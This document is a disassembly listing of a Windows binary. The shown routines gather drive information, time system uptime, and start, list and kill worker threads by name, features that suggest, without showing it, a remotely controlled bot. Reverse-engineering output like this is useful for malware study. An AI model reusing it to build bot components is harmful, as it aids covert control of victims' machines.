[ebp+var_1C], al movsx eax, byte ptr [ebp+var_1C] cmp eax, 5Ah jnz loc_408EA4 mov eax, [ebp+var_C] leave retn sub_408E8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408F2E proc near ; DATA XREF: sub_4091E2+35o var_5DC = dword ptr -5DCh var_5D8 = dword ptr -5D8h var_5D4 = dword ptr -5D4h var_5D0 = byte ptr -5D0h var_42C = dword ptr -42Ch var_428 = dword ptr -428h var_424 = dword ptr -424h var_420 = byte ptr -420h var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = byte ptr -40Ch var_404 = byte ptr -404h var_3EF = byte ptr -3EFh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5DCh push esi push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_5D4] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 5 pop ecx mov esi, offset aDriveInformati ; "Drive information - " lea edi, [ebp+var_404] rep movsd movsb mov ecx, 0FAh xor eax, eax lea edi, [ebp+var_3EF] rep stosd stosw stosb mov eax, dword_419398 mov [ebp+var_424], eax and [ebp+var_418], 0 and [ebp+var_5D8], 0 and [ebp+var_414], 0 mov [ebp+var_410], 1 loc_408FA6: ; CODE XREF: sub_408F2E+23Bj lea eax, [ebp+var_424] push eax call dword_4170CC ; GetDriveTypeA mov [ebp+var_5DC], eax cmp [ebp+var_5DC], 0 jz loc_409151 cmp [ebp+var_5DC], 1 jz loc_409151 cmp [ebp+var_5DC], 2 jnz short loc_408FE5 mov [ebp+var_4], offset aRemovable ; "removable" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_408FE5: ; CODE XREF: sub_408F2E+ACj cmp [ebp+var_5DC], 3 jnz short loc_408FF7 mov [ebp+var_4], offset aFixed ; "fixed" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_408FF7: ; CODE XREF: sub_408F2E+BEj cmp [ebp+var_5DC], 4 jnz short loc_409009 mov [ebp+var_4], offset aRemote ; "remote" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_409009: ; CODE XREF: sub_408F2E+D0j cmp [ebp+var_5DC], 5 jnz short loc_40901B mov [ebp+var_4], offset aCdRom ; "cd-rom" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_40901B: ; CODE XREF: sub_408F2E+E2j cmp [ebp+var_5DC], 6 jnz short loc_40902D mov [ebp+var_4], offset aRamdisk ; "ramdisk" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_40902D: ; CODE XREF: sub_408F2E+F4j mov [ebp+var_4], offset aUnknown ; "unknown" loc_409034: ; CODE XREF: sub_408F2E+B5j ; sub_408F2E+C7j ... cmp [ebp+var_5DC], 5 jz short loc_40906A cmp [ebp+var_5DC], 2 jz short loc_40906A lea eax, [ebp+var_42C] push eax lea eax, [ebp+var_420] push eax lea eax, [ebp+var_40C] push eax lea eax, [ebp+var_424] push eax call dword_4170C8 ; GetDiskFreeSpaceExA jmp short loc_40907D ; --------------------------------------------------------------------------- loc_40906A: ; CODE XREF: sub_408F2E+10Dj ; sub_408F2E+116j push 8 push 0 lea eax, [ebp+var_42C] push eax call sub_416B6A ; memset add esp, 0Ch loc_40907D: ; CODE XREF: sub_408F2E+13Aj push 0 push 100000h push [ebp+var_428] push [ebp+var_42C] call sub_416C90 mov [ebp+var_42C], eax mov [ebp+var_428], edx cmp [ebp+var_410], 0 jnz short loc_4090BF push offset dword_419404 lea eax, [ebp+var_404] push eax call sub_416B70 ; _mbscat pop ecx pop ecx jmp short loc_4090C6 ; --------------------------------------------------------------------------- loc_4090BF: ; CODE XREF: sub_408F2E+17Aj and [ebp+var_410], 0 loc_4090C6: ; CODE XREF: sub_408F2E+18Fj mov eax, [ebp+var_42C] or eax, [ebp+var_428] test eax, eax jz short loc_40910A push [ebp+var_428] push [ebp+var_42C] push [ebp+var_4] lea eax, [ebp+var_424] push eax lea eax, [ebp+var_404] push eax push offset dword_4193E4 lea eax, [ebp+var_404] push eax call dword_4171E0 ; wsprintfA add esp, 1Ch jmp short loc_409130 ; --------------------------------------------------------------------------- loc_40910A: ; CODE XREF: sub_408F2E+1A6j push [ebp+var_4] lea eax, [ebp+var_424] push eax lea eax, [ebp+var_404] push eax push offset dword_4193D4 lea eax, [ebp+var_404] push eax call dword_4171E0 ; wsprintfA add esp, 14h loc_409130: ; CODE XREF: sub_408F2E+1DAj mov eax, [ebp+var_42C] mov ecx, [ebp+var_414] add ecx, eax mov [ebp+var_414], ecx mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_409151: ; CODE XREF: sub_408F2E+92j ; sub_408F2E+9Fj mov al, byte ptr [ebp+var_424] add al, 1 mov byte ptr [ebp+var_424], al movsx eax, byte ptr [ebp+var_424] cmp eax, 5Ah jnz loc_408FA6 cmp [ebp+var_5D8], 0 jz short loc_40918B push offset dword_419404 lea eax, [ebp+var_404] push eax call sub_416B70 ; _mbscat pop ecx pop ecx loc_40918B: ; CODE XREF: sub_408F2E+248j push [ebp+var_414] push [ebp+var_5D8] lea eax, [ebp+var_404] push eax push offset dword_41939C lea eax, [ebp+var_404] push eax call dword_4171E0 ; wsprintfA add esp, 14h lea eax, [ebp+var_404] push eax push offset dword_418B64 lea eax, [ebp+var_5D0] push eax call sub_40D53F add esp, 0Ch push [ebp+var_5D4] call sub_409763 pop ecx xor eax, eax pop edi pop esi leave retn 4 sub_408F2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4091E2 proc near ; CODE XREF: sub_40A9CF+1C61p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4091FC jmp short locret_409224 ; --------------------------------------------------------------------------- loc_4091FC: ; CODE XREF: sub_4091E2+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aDriveinfoThrea ; "Driveinfo thread" push 0 push [ebp+var_4] push offset sub_408F2E call sub_4095A4 add esp, 10h locret_409224: ; CODE XREF: sub_4091E2+18j leave retn sub_4091E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409226 proc near ; CODE XREF: .data:00416A06p var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call dword_4170D8 ; QueryPerformanceCounter lea eax, [ebp+var_10] push eax call dword_4170D4 ; QueryPerformanceFrequency cmp [ebp+var_4], 0 jl short loc_40928E jg short loc_40924E cmp [ebp+var_8], 0 jbe short loc_40928E loc_40924E: ; CODE XREF: sub_409226+20j cmp [ebp+var_C], 0 jl short loc_40928E jg short loc_40925C cmp [ebp+var_10], 0 jbe short loc_40928E loc_40925C: ; CODE XREF: sub_409226+2Ej push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_416D10 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_416CFE ; ceil pop ecx pop ecx call sub_416CF8 ; _ftol mov dword_41E2D0, eax jmp short locret_4092A2 ; --------------------------------------------------------------------------- loc_40928E: ; CODE XREF: sub_409226+1Ej ; sub_409226+26j ... call dword_4170D0 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov dword_41E2D0, eax locret_4092A2: ; CODE XREF: sub_409226+66j leave retn sub_409226 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4092A4 proc near ; CODE XREF: sub_4083AD+61p ; sub_40A9CF+1CCAp ... var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call dword_4170D8 ; QueryPerformanceCounter lea eax, [ebp+var_10] push eax call dword_4170D4 ; QueryPerformanceFrequency cmp [ebp+var_4], 0 jl short loc_409307 jg short loc_4092CC cmp [ebp+var_8], 0 jbe short loc_409307 loc_4092CC: ; CODE XREF: sub_4092A4+20j cmp [ebp+var_C], 0 jl short loc_409307 jg short loc_4092DA cmp [ebp+var_10], 0 jbe short loc_409307 loc_4092DA: ; CODE XREF: sub_4092A4+2Ej push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_416D10 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_416CFE ; ceil pop ecx pop ecx call sub_416CF8 ; _ftol jmp short locret_409316 ; --------------------------------------------------------------------------- loc_409307: ; CODE XREF: sub_4092A4+1Ej ; sub_4092A4+26j ... call dword_4170D0 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx locret_409316: ; CODE XREF: sub_4092A4+61j leave retn sub_4092A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409318 proc near ; CODE XREF: sub_408B30:loc_408BBCp ; sub_40A9CF:loc_40C715p var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call dword_4170D8 ; QueryPerformanceCounter lea eax, [ebp+var_10] push eax call dword_4170D4 ; QueryPerformanceFrequency cmp [ebp+var_4], 0 jl short loc_409381 jg short loc_409340 cmp [ebp+var_8], 0 jbe short loc_409381 loc_409340: ; CODE XREF: sub_409318+20j cmp [ebp+var_C], 0 jl short loc_409381 jg short loc_40934E cmp [ebp+var_10], 0 jbe short loc_409381 loc_40934E: ; CODE XREF: sub_409318+2Ej push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_416D10 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_416CFE ; ceil pop ecx pop ecx call sub_416CF8 ; _ftol sub eax, dword_41E2D0 jmp short locret_40938D ; --------------------------------------------------------------------------- loc_409381: ; CODE XREF: sub_409318+1Ej ; sub_409318+26j ... call dword_4170D0 ; GetTickCount sub eax, dword_41E2D0 locret_40938D: ; CODE XREF: sub_409318+67j leave retn sub_409318 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40938F proc near ; CODE XREF: .data:004168C6p push ebp mov ebp, esp and dword_41E2F0, 0 push 1980h call sub_416B46 ; malloc pop ecx mov dword_41E2F8, eax push offset dword_41E2D8 call sub_409C36 pop ecx pop ebp retn sub_40938F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4093B6 proc near ; DATA XREF: sub_409479+35o var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417278 push offset sub_416DBA mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_20], 0 and [ebp+var_1C], 0 and [ebp+var_4], 0 mov eax, [ebp+arg_0] mov eax, [eax] mov [ebp+var_20], eax mov eax, [ebp+arg_0] mov eax, [eax+4] mov [ebp+var_1C], eax push [ebp+arg_0] call sub_416B4C ; free pop ecx push [ebp+var_20] call dword_4170DC ; IsBadCodePtr test eax, eax jz short loc_409431 cmp dword_41DE38, 0 jz short loc_40942F push [ebp+var_20] push offset dword_419474 push offset dword_41DAB4 call sub_40D4AB add esp, 0Ch loc_40942F: ; CODE XREF: sub_4093B6+62j jmp short loc_409443 ; --------------------------------------------------------------------------- loc_409431: ; CODE XREF: sub_4093B6+59j push [ebp+var_1C] call [ebp+var_20] mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_24] jmp short loc_409468 ; --------------------------------------------------------------------------- loc_409443: ; CODE XREF: sub_4093B6:loc_40942Fj or [ebp+var_4], 0FFFFFFFFh jmp short loc_409466 ; --------------------------------------------------------------------------- push offset aBtg ; "btg" push offset aThread ; "thread" push [ebp+var_14] call sub_40332B add esp, 0Ch retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh loc_409466: ; CODE XREF: sub_4093B6+91j xor eax, eax loc_409468: ; CODE XREF: sub_4093B6+8Bj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_4093B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409479 proc near ; CODE XREF: sub_40764D+14Ap ; sub_409BF1+2Fp ... var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push 8 call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_409494 xor eax, eax jmp short locret_4094E4 ; --------------------------------------------------------------------------- loc_409494: ; CODE XREF: sub_409479+15j mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [eax], ecx mov eax, [ebp+var_C] mov ecx, [ebp+arg_4] mov [eax+4], ecx lea eax, [ebp+var_8] push eax push 0 push [ebp+var_C] push offset sub_4093B6 push 20000h push 0 call sub_416DC0 ; _beginthreadex add esp, 18h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4094D9 push [ebp+var_4] call dword_4170A4 ; CloseHandle push 1 pop eax jmp short locret_4094E4 ; --------------------------------------------------------------------------- loc_4094D9: ; CODE XREF: sub_409479+50j push [ebp+var_C] call sub_416B4C ; free pop ecx xor eax, eax locret_4094E4: ; CODE XREF: sub_409479+19j ; sub_409479+5Ej leave retn sub_409479 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4094E6 proc near ; DATA XREF: sub_4095A4+159o var_1A4 = dword ptr -1A4h var_1A0 = dword ptr -1A0h var_19C = byte ptr -19Ch var_19B = byte ptr -19Bh var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417288 push offset sub_416DBA mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 18Ch push ebx push esi push edi mov [ebp+var_18], esp mov al, byte_41DE30 mov [ebp+var_19C], al push 60h pop ecx xor eax, eax lea edi, [ebp+var_19B] rep stosd stosw stosb and [ebp+var_4], 0 mov eax, [ebp+arg_0] mov eax, [eax] mov eax, [eax+10h] mov [ebp+var_1A0], eax mov eax, [ebp+arg_0] mov eax, [eax] add eax, 14h push eax lea eax, [ebp+var_19C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push [ebp+arg_0] mov eax, [ebp+arg_0] mov eax, [eax] call dword ptr [eax+10h] mov [ebp+var_1A4], eax or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_1A4] jmp short loc_409593 ; --------------------------------------------------------------------------- lea eax, [ebp+var_19C] push eax push offset aThread ; "thread" push [ebp+var_14] call sub_40332B add esp, 0Ch retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh xor eax, eax loc_409593: ; CODE XREF: sub_4094E6+8Aj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_4094E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4095A4 proc near ; CODE XREF: sub_4017AA+A2p ; sub_401D6E+8Dp ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 14h push offset dword_41E2D8 call sub_409C6C pop ecx cmp dword_41E2F0, 10h jnz short loc_4095D9 push [ebp+arg_4] call sub_416B4C ; free pop ecx push offset dword_41E2D8 call sub_409C7A pop ecx xor eax, eax jmp locret_409761 ; --------------------------------------------------------------------------- loc_4095D9: ; CODE XREF: sub_4095A4+18j cmp [ebp+arg_8], 0 jz short loc_409627 and [ebp+var_10], 0 jmp short loc_4095EC ; --------------------------------------------------------------------------- loc_4095E5: ; CODE XREF: sub_4095A4:loc_409625j mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax loc_4095EC: ; CODE XREF: sub_4095A4+3Fj cmp [ebp+var_10], 10h jge short loc_409627 mov eax, [ebp+var_10] imul eax, 198h mov ecx, dword_41E2F8 mov eax, [ecx+eax+10h] cmp eax, [ebp+arg_0] jnz short loc_409625 push [ebp+arg_4] call sub_416B4C ; free pop ecx push offset dword_41E2D8 call sub_409C7A pop ecx xor eax, eax jmp locret_409761 ; --------------------------------------------------------------------------- loc_409625: ; CODE XREF: sub_4095A4+64j jmp short loc_4095E5 ; --------------------------------------------------------------------------- loc_409627: ; CODE XREF: sub_4095A4+39j ; sub_4095A4+4Cj and [ebp+var_C], 0 and [ebp+var_8], 0 jmp short loc_409638 ; --------------------------------------------------------------------------- loc_409631: ; CODE XREF: sub_4095A4:loc_409672j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_409638: ; CODE XREF: sub_4095A4+8Bj cmp [ebp+var_8], 10h jge short loc_409674 mov eax, [ebp+var_8] imul eax, 198h mov ecx, dword_41E2F8 cmp dword ptr [ecx+eax+8], 0 jnz short loc_409672 mov eax, [ebp+var_8] imul eax, 198h mov ecx, dword_41E2F8 add ecx, eax mov [ebp+var_C], ecx mov eax, [ebp+var_C] mov ecx, [ebp+var_8] mov [eax], ecx jmp short loc_409674 ; --------------------------------------------------------------------------- loc_409672: ; CODE XREF: sub_4095A4+AEj jmp short loc_409631 ; --------------------------------------------------------------------------- loc_409674: ; CODE XREF: sub_4095A4+98j ; sub_4095A4+CCj cmp [ebp+var_C], 0 jnz short loc_409695 push [ebp+arg_4] call sub_416B4C ; free pop ecx push offset dword_41E2D8 call sub_409C7A pop ecx xor eax, eax jmp locret_409761 ; --------------------------------------------------------------------------- loc_409695: ; CODE XREF: sub_4095A4+D4j cmp [ebp+arg_4], 0 jz short loc_4096A3 mov eax, [ebp+arg_4] mov ecx, [ebp+var_C] mov [eax], ecx loc_4096A3: ; CODE XREF: sub_4095A4+F5j mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [eax+10h], ecx lea eax, [ebp+arg_10] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_C] mov eax, [ebp+var_C] add eax, 14h push eax call sub_416DC6 ; vsprintf add esp, 0Ch and [ebp+var_4], 0 mov eax, [ebp+var_C] and dword ptr [eax+4], 0 mov eax, dword_41E2F0 inc eax mov dword_41E2F0, eax cmp [ebp+arg_4], 0 jz short loc_4096EB mov eax, [ebp+arg_4] mov [ebp+var_14], eax jmp short loc_4096F1 ; --------------------------------------------------------------------------- loc_4096EB: ; CODE XREF: sub_4095A4+13Dj mov eax, [ebp+var_C] mov [ebp+var_14], eax loc_4096F1: ; CODE XREF: sub_4095A4+145j mov eax, [ebp+var_C] add eax, 0Ch push eax push 0 push [ebp+var_14] push offset sub_4094E6 push 0 push 0 call sub_416DC0 ; _beginthreadex add esp, 18h mov ecx, [ebp+var_C] mov [ecx+8], eax mov eax, [ebp+var_C] cmp dword ptr [eax+8], 0 jnz short loc_409753 push [ebp+arg_4] call sub_416B4C ; free pop ecx mov eax, dword_41E2F0 dec eax mov dword_41E2F0, eax push 198h push 0 lea eax, [ebp+var_C] push eax call sub_416B6A ; memset add esp, 0Ch push offset dword_41E2D8 call sub_409C7A pop ecx xor eax, eax jmp short locret_409761 ; --------------------------------------------------------------------------- loc_409753: ; CODE XREF: sub_4095A4+177j push offset dword_41E2D8 call sub_409C7A pop ecx push 1 pop eax locret_409761: ; CODE XREF: sub_4095A4+30j ; sub_4095A4+7Cj ... leave retn sub_4095A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409763 proc near ; CODE XREF: sub_401244+73p ; sub_401244+547p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push offset dword_41E2D8 call sub_409C6C pop ecx mov eax, dword_41E2F0 dec eax mov dword_41E2F0, eax mov eax, [ebp+arg_0] push dword ptr [eax+8] call dword_4170A4 ; CloseHandle push 198h push 0 push [ebp+arg_0] call sub_416B6A ; memset add esp, 0Ch push offset dword_41E2D8 call sub_409C7A pop ecx pop ebp retn sub_409763 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4097A7 proc near ; CODE XREF: sub_40A9CF+EBFp var_194 = dword ptr -194h var_190 = byte ptr -190h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 194h cmp [ebp+arg_0], 0 jnz short loc_4097BB jmp locret_4098F1 ; --------------------------------------------------------------------------- loc_4097BB: ; CODE XREF: sub_4097A7+Dj push [ebp+arg_0] call sub_407A86 pop ecx movzx eax, al test eax, eax jz short loc_409825 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax push offset dword_41E2D8 call sub_409C6C pop ecx cmp [ebp+var_4], 10h jnb short loc_409815 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 cmp dword ptr [ecx+eax+8], 0 jz short loc_409815 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 mov dword ptr [ecx+eax+4], 1 loc_409815: ; CODE XREF: sub_4097A7+3Fj ; sub_4097A7+55j push offset dword_41E2D8 call sub_409C7A pop ecx jmp locret_4098F1 ; --------------------------------------------------------------------------- loc_409825: ; CODE XREF: sub_4097A7+22j push [ebp+arg_0] push offset aS ; "*%s*" push 185h lea eax, [ebp+var_190] push eax call sub_416BAE ; _snprintf add esp, 10h push offset dword_41E2D8 call sub_409C6C pop ecx mov eax, dword_41E2F0 mov [ebp+var_8], eax and [ebp+var_194], 0 jmp short loc_40986A ; --------------------------------------------------------------------------- loc_40985D: ; CODE XREF: sub_4097A7:loc_4098E1j mov eax, [ebp+var_194] inc eax mov [ebp+var_194], eax loc_40986A: ; CODE XREF: sub_4097A7+B4j cmp [ebp+var_194], 10h jnb short loc_4098E6 mov eax, [ebp+var_194] imul eax, 198h mov ecx, dword_41E2F8 cmp dword ptr [ecx+eax+8], 0 jz short loc_4098E1 mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax lea eax, [ebp+var_190] push eax mov eax, [ebp+var_194] imul eax, 198h mov ecx, dword_41E2F8 lea eax, [ecx+eax+14h] push eax call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_4098D9 mov eax, [ebp+var_194] imul eax, 198h mov ecx, dword_41E2F8 mov dword ptr [ecx+eax+4], 1 loc_4098D9: ; CODE XREF: sub_4097A7+116j cmp [ebp+var_8], 0 jnz short loc_4098E1 jmp short loc_4098E6 ; --------------------------------------------------------------------------- loc_4098E1: ; CODE XREF: sub_4097A7+E3j ; sub_4097A7+136j jmp loc_40985D ; --------------------------------------------------------------------------- loc_4098E6: ; CODE XREF: sub_4097A7+CAj ; sub_4097A7+138j push offset dword_41E2D8 call sub_409C7A pop ecx locret_4098F1: ; CODE XREF: sub_4097A7+Fj ; sub_4097A7+79j leave retn sub_4097A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4098F3 proc near ; CODE XREF: sub_40A9CF+F13p var_19C = dword ptr -19Ch var_198 = dword ptr -198h var_194 = byte ptr -194h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 19Ch cmp [ebp+arg_0], 0 jnz short loc_409907 jmp locret_409AD3 ; --------------------------------------------------------------------------- loc_409907: ; CODE XREF: sub_4098F3+Dj push [ebp+arg_0] call sub_407A86 pop ecx movzx eax, al test eax, eax jz loc_4099B4 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax push offset dword_41E2D8 call sub_409C6C pop ecx cmp [ebp+var_4], 10h jnb short loc_4099A4 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 cmp dword ptr [ecx+eax+8], 0 jz short loc_4099A4 mov eax, dword_41E2F0 dec eax mov dword_41E2F0, eax mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 mov eax, [ecx+eax+8] mov [ebp+var_8], eax push 198h push 0 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 add ecx, eax push ecx call sub_416B6A ; memset add esp, 0Ch push 0 push [ebp+var_8] call dword_4170E0 ; TerminateThread push [ebp+var_8] call dword_4170A4 ; CloseHandle loc_4099A4: ; CODE XREF: sub_4098F3+43j ; sub_4098F3+59j push offset dword_41E2D8 call sub_409C7A pop ecx jmp locret_409AD3 ; --------------------------------------------------------------------------- loc_4099B4: ; CODE XREF: sub_4098F3+22j push [ebp+arg_0] push offset aS ; "*%s*" push 185h lea eax, [ebp+var_194] push eax call sub_416BAE ; _snprintf add esp, 10h push offset dword_41E2D8 call sub_409C6C pop ecx mov eax, dword_41E2F0 mov [ebp+var_C], eax and [ebp+var_198], 0 jmp short loc_4099F9 ; --------------------------------------------------------------------------- loc_4099EC: ; CODE XREF: sub_4098F3:loc_409AC3j mov eax, [ebp+var_198] inc eax mov [ebp+var_198], eax loc_4099F9: ; CODE XREF: sub_4098F3+F7j cmp [ebp+var_198], 10h jnb loc_409AC8 mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E2F8 cmp dword ptr [ecx+eax+8], 0 jz loc_409AC3 mov eax, [ebp+var_C] dec eax mov [ebp+var_C], eax lea eax, [ebp+var_194] push eax mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E2F8 lea eax, [ecx+eax+14h] push eax call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_409ABB mov eax, dword_41E2F0 dec eax mov dword_41E2F0, eax mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E2F8 mov eax, [ecx+eax+8] mov [ebp+var_19C], eax push 198h push 0 mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E2F8 add ecx, eax push ecx call sub_416B6A ; memset add esp, 0Ch push 0 push [ebp+var_19C] call dword_4170E0 ; TerminateThread push [ebp+var_19C] call dword_4170A4 ; CloseHandle loc_409ABB: ; CODE XREF: sub_4098F3+161j cmp [ebp+var_C], 0 jnz short loc_409AC3 jmp short loc_409AC8 ; --------------------------------------------------------------------------- loc_409AC3: ; CODE XREF: sub_4098F3+12Aj ; sub_4098F3+1CCj jmp loc_4099EC ; --------------------------------------------------------------------------- loc_409AC8: ; CODE XREF: sub_4098F3+10Dj ; sub_4098F3+1CEj push offset dword_41E2D8 call sub_409C7A pop ecx locret_409AD3: ; CODE XREF: sub_4098F3+Fj ; sub_4098F3+BCj leave retn sub_4098F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409AD5 proc near ; DATA XREF: sub_409BF1+2Ao var_1A8 = byte ptr -1A8h var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A8h push 1A3h push [ebp+arg_0] lea eax, [ebp+var_1A8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx cmp dword_41E2F0, 0 jz short loc_409B25 push 10h push dword_41E2F0 push offset dword_4194EC lea eax, [ebp+var_1A8] push eax call sub_40D53F add esp, 10h jmp short loc_409B3F ; --------------------------------------------------------------------------- loc_409B25: ; CODE XREF: sub_409AD5+30j push offset dword_4194CC lea eax, [ebp+var_1A8] push eax call sub_40D53F pop ecx pop ecx xor eax, eax jmp locret_409BED ; --------------------------------------------------------------------------- loc_409B3F: ; CODE XREF: sub_409AD5+4Ej push offset dword_41E2D8 call sub_409C6C pop ecx and [ebp+var_10], 0 and [ebp+var_4], 0 jmp short loc_409B5B ; --------------------------------------------------------------------------- loc_409B54: ; CODE XREF: sub_409AD5:loc_409BDBj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_409B5B: ; CODE XREF: sub_409AD5+7Dj cmp [ebp+var_4], 10h jge short loc_409BE0 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 cmp dword ptr [ecx+eax+8], 0 jz short loc_409BDB push offset dword_41E2D8 call sub_409C7A pop ecx push 3E8h call dword_41709C ; Sleep push offset dword_41E2D8 call sub_409C6C pop ecx mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 lea eax, [ecx+eax+14h] push eax push [ebp+var_4] push offset dword_4194BC lea eax, [ebp+var_1A8] push eax call sub_40D53F add esp, 10h mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 cmp dword ptr [ecx+eax+4], 0 jz short loc_409BDB jmp short loc_409BE0 ; --------------------------------------------------------------------------- loc_409BDB: ; CODE XREF: sub_409AD5+A0j ; sub_409AD5+102j jmp loc_409B54 ; --------------------------------------------------------------------------- loc_409BE0: ; CODE XREF: sub_409AD5+8Aj ; sub_409AD5+104j push offset dword_41E2D8 call sub_409C7A pop ecx xor eax, eax locret_409BED: 